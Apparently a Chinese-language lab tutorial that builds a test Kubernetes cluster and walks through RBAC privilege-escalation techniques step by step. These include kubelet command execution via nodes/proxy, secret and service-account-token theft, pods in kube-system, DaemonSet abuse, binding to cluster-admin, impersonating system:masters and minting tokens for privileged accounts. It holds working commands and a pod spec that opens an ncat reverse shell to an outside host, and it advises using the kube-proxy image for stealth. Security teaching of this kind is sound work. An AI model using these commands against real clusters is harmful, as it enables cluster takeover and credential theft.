kind 部署 1master 2worker(v1.23) 集群。
#创建服务账号 rbac-sa
kubectl apply -f ServiceAccount.yaml
#创建secret rbac-secret
kubectl apply -f Secret.yaml
#创建ClusterRole rbac-clusterrole
kubectl apply -f ClusterRole.yaml
#创建 ClusterRoleBinding
kubectl apply -f ClusterRoleBinding.yaml
下面的每个小实验开始前需要修改
ClusterRole.yaml
为对应测试的权限并 apply 一下。
对应的配置文件
#ServiceAccount.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
name: rbac-sa
namespace: default
#Secret.yaml
apiVersion: v1
kind: Secret
metadata:
name: rbac-secret
annotations:
kubernetes.io/service-account.name: rbac-sa
type: kubernetes.io/service-account-token
#ClusterRole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: rbac-clusterrole
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get", "create"]
#ClusterRoleBinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: rbac-clusterrolebinding
subjects:
- kind: ServiceAccount
name: rbac-sa
namespace: default
roleRef:
kind: ClusterRole
name: rbac-clusterrole
apiGroup: rbac.authorization.k8s.io
#获取token
kubectl get secrets rbac-secret -o jsonpath={.data.token} | base64 -d
#引入环境变量
export TOKEN=$(kubectl get secrets rbac-secret -o jsonpath={.data.token} | base64 -d)
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://172.19.0.3:6443/ #修改为对应集群的api server地址
name: hadmin_cluster
contexts:
- context:
cluster: hadmin_cluster
user: hadmin
name: test_context
current-context: test_context
kind: Config
preferences: {}
users:
- name: hadmin
user:
token: xxxxxxxx #上一步获取到的token
当对资源 nodes/proxy
有 get与create
权限时,就可以绕过 apiserver 直接对每个节点操作,当知道每个节点 ip 时,相当于获得了集群的每个节点的权限。
#修改为下方的权限配置文件,然后重新加载
kubectl apply -f ClusterRole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: rbac-clusterrole
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get", "create"]
get 权限,利用 token 直接向某个节点的 kubelet 发送请求,获取该节点下 pods 信息
#这里我已经在前面导入token了
curl -s -k -H "Authorization: Bearer $TOKEN" https://172.18.0.3:10250/pods | jq -r '.items[] | .metadata.name'
create 权限,根据获取到的信息构造请求再向 kubelet 发送请求,执行命令
curl -k -H "Authorization: Bearer $TOKEN" https://172.18.0.3:10250/run/kube-system/kube-proxy-xn2cm/kube-proxy -d "cmd=id"
可以通过信息收集获得 master 的 ip,然后找到 kube-proxy(作为特权容器运行),反弹 shell 然后逃逸获得 master 主机权限,从而获得 cluster admin 权限。
当对资源 Secrets 有 list
权限时,可以列出所有 Secrets 的具体内容
kubectl apply -f ClusterRole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: rbac-clusterrole
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["list"] #对secrets有list权限
构造请求查看集群管理员的 Secrets
#获取所有token
curl -k -H "Authorization: Bearer $TOKEN" https://172.18.0.2:6443/api/v1/namespaces/kube-system/secrets/
当对资源 Secrets 有 get
权限时,可以获取某一个 Secrets 的具体内容
kubectl apply -f ClusterRole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: secret-reader
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get"]
构造请求查看 kube-proxy-token-jtnsr
(Secrets)
curl -k -H "Authorization: Bearer $TOKEN" https://172.18.0.3:6443/api/v1/namespaces/kube-system/secrets/kube-proxy-xn2cm
这里需要指定对应的组件全名,但是有些资源后面是具有随机字符的,
所以我们如果不知道后面的随机字符的话,就指定一些固定名字的特权容器
一般第三方组件都是有固定的名字的
当对资源 Pod 有 create
权限时,可能会在特权命名空间中创建 pod 从而分配相当于管理员的 SA。
kubectl apply -f ClusterRole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: pod-creator
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["create"]
#导入 busybox:latest 到节点中,
docker pull busybox
kind load docker-image --name demo busybox:latest
#在特权命名空间中创建 Pod,
kubectl --kubeconfig=test_config run busybox --image=docker.io/library/busybox:latest --restart=Always --namespace=kube-system -- sleep 36000
#用上帝视角直接读取token文件,
kubectl -n kube-system exec -it busybox -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
实际情况下,可以使用反弹 shell 的方法,获取 Pod 权限,进而读取 Pod 的 token,
spec:
containers:
- name: nothing-allowed-pod
image: raesene/ncat
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
进一步,可以在创建的 Pod 中设置常见高权限的SA,进而分配到高权限Token。
spec:
serviceAccountName: cluster-admin
automountServiceAccountToken: true
pod controllers
指的是 cronjobs jobs daemonsets statefulsets deployments replicasets replicationcontrollers
当对资源 pod controllers
有 create || update || patch
权限时,可能会在特权命名空间中创建 pod 从而分配相当于管理员的 SA。
尝试创建一个 DaemonSet
在 containers 中填写 spec 反弹 shell。即便是在只有 default 命名空间对 DaemonSet 操作的权限下,都可以在所有节点创建 pod 并反弹,实际中可以使用恶意镜像,为了隐蔽建议使用 kube-proxy,因为每个节点本身都有这个镜像,并且本身可以逃逸到宿主机上。
kubectl apply -f ClusterRole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: daemonset-manager
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "create"]
创建一个 daemonSet
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: my-daemonset
spec:
selector:
matchLabels:
app: busybox
template:
metadata:
labels:
app: busybox
spec:
# serviceAccountName: xxxx
# automountServiceAccountToken: true
tolerations:
- key: node-role.kubernetes.io/master
effect: NoSchedule
containers:
- name: busybox
image: docker.io/library/busybox:latest
command: ["sleep", "3600"]
EOF
当对资源 roles or clusterroles
有 bind
权限,以及对资源 rolesbindings or clusterrolesbindings
有 create
权限时,通过创建 rolesbindings or clusterrolesbindings
直接绑定自己没有权限的角色。
kubectl apply -f ClusterRole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: rbac-bind-manager
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterroles"]
verbs: ["bind"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["create"]
kubectl --kubeconfig=test_config create clusterrolebinding bind-admin --clusterrole=cluster-admin --user=rbac-sa
我们的账号 rbac-sa 目前绑定了两个角色,
kubectl get clusterrolebindings --all-namespaces -o custom-columns=NAMESPACE:.metadata.namespace,NAME:.metadata.name,SERVICE_ACCOUNTS:.subjects[*].name --no-headers | grep rbac-sa
查看一下创建的 bind-admin(clusterrolebinding)
kubectl describe clusterrolebinding bind-admin
该动词有点类似于Linux下的sudo,通过该动词用户可以达到扮演其他用户的效果,获得相关用户的权限,其原理主要就是通过请求 api-server 的时候,通过指定 http header 实现扮演用户的效果。当对资源 users groups serviceaccounts
有 impersonate
权限,可以获得集群管理员权限。
kubectl apply -f ClusterRole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: impersonation-auditor
rules:
- apiGroups: [""]
resources: ["users", "groups", "serviceaccounts"]
verbs: ["impersonate"]
# 强烈建议添加资源名称白名单
resourceNames: ["readonly-user", "ci-serviceaccount"]
kubectl --kubeconfig=test_config --as=testest --as-group=system:masters get secrets -n kube-system
当对资源 serviceaccounts/token
有 create
权限时,可以为存在的高权限 serviceaccounts
创建一个 token。
kubectl apply -f ClusterRole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: token-issuer
rules:
- apiGroups: [""]
resources: ["serviceaccounts/token"]
verbs: ["create"]
# 关键安全限制
resourceNames: ["ci-pipeline"] # 仅允许为特定SA创建token
当前权限获取 NS,失败
kubectl --kubeconfig=test_config get ns
请求创建某一个 serviceaccounts 的 token
kubectl --kubeconfig=test_config create token namespace-controller --bound-object-kind Secret --bound-object-name namespace-controller-token-2mtln -n kube-system
用上面获取到的高权限 token 重新获取 NS
curl -k -H "Authorization: Bearer xxxxx" https://172.19.0.4:6443/api/v1/namespaces